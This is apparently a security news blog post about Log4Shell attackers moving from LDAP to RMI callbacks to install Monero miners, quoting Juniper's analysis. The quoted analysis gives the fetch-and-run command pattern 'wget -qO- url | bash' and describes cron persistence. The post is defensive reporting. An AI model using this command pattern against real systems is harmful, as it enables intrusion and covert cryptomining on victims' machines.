Search This Blog

Powered by Blogger.

Blog Archive

Labels

Log4j Attackers Switch to Injecting Monero Miners via RMI

The only feasible way to defend against attackers is to upgrade Log4j to version 2.16.0.

 

The most significant vulnerability identified recently has dominated the news over the last few days. The vulnerability, Log4Shell or LogJam and officially termed CVE-2021-44228, is an unauthenticated RCE flaw that permits total system control on systems running Log4j 2.0-beta9 through 2.14.1. 

As per BleepingComputer, some threat actors using the Apache Log4j vulnerability have switched from LDAP callback URLs to RMI, or even merged the two in a single request, to boost their chances of success. This is a big step forward in the ongoing attack, and firms should be aware of it as they try to secure all possible channels. 

For the time being, threat actors attempting to steal resources for Monero mining have identified this trend, but others may follow suit at any time. The majority of attacks targeting the Log4j "Log4Shell" vulnerability have used the LDAP (Lightweight Directory Access Protocol) service. 

Switching to the RMI (Remote Method Invocation) API may appear counter-intuitive at first sight, given that this technique is subject to additional checks and limitations. 

However, this is not always the case, and if we consider that some JVM (Java Virtual Machine) versions may not have strict rules, RMI may be a more easy way to do RCE (remote code execution) than LDAP. Furthermore, LDAP queries have become a well-established part of the infection chain, and defenders are keeping a close eye on them. Many IDS/IPS solutions, for example, currently filter requests using JNDI and LDAP, thus RMI may be disregarded for the time being. In some cases, Juniper recognised both RMI and LDAP services in the same HTTP POST request. 

As per the source, “This code invokes a bash shell command via the JavaScript scripting engine, using the construction “$@|bash” to execute the downloaded script. During the execution of this command, the bash shell will pipe the attacker’s commands to another bash process: “wget -qO- url | bash”, which downloads and executes a shell script on the target machine."

"This obfuscated script downloads a randomly named file of the form n.png, where n is a number between 0 and 7. Despite the purported file extension, this is actually a Monero cryptominer binary compiled for x84_64 Linux targets. The full script also adds persistence via the cron subsystem."

"A different attack, also detected by Juniper Threat Labs, tries both RMI and LDAP services in the same HTTP POST request in hopes that at least one will work. The LDAP injection string is sent as part of the POST command body. An exploit string in the POST body which is unlikely to succeed given most applications do not log the post body, which can be binary or very large, but by tagging the string as “username” in the JSON body, the attackers hope to exploit applications that will treat this request as a login attempt and log the failure."

Threat actors appear to be interested in mining Monero on hacked devices and promote it as an apparently innocent activity that "ain't going to hurt anyone else." The miner is built for x86 64 Linux systems and uses the cron subsystem for persistence. Even though the majority of attacks have targeted Linux systems. 

CheckPoint states to have discovered the first Win32 program to use Log4Shell, called 'StealthLoader.' by its investigators. 

The only way to combat what has become one of the most serious vulnerabilities in recent history is to upgrade Log4j to version 2.16.0. Administrators should also keep an eye on Apache's security area for new version announcements and execute them as soon as possible.
Share it:

attackers

Bugs

Flaws

Monero

Monero Miner

Threat actors

Vulnerabilities and Exploits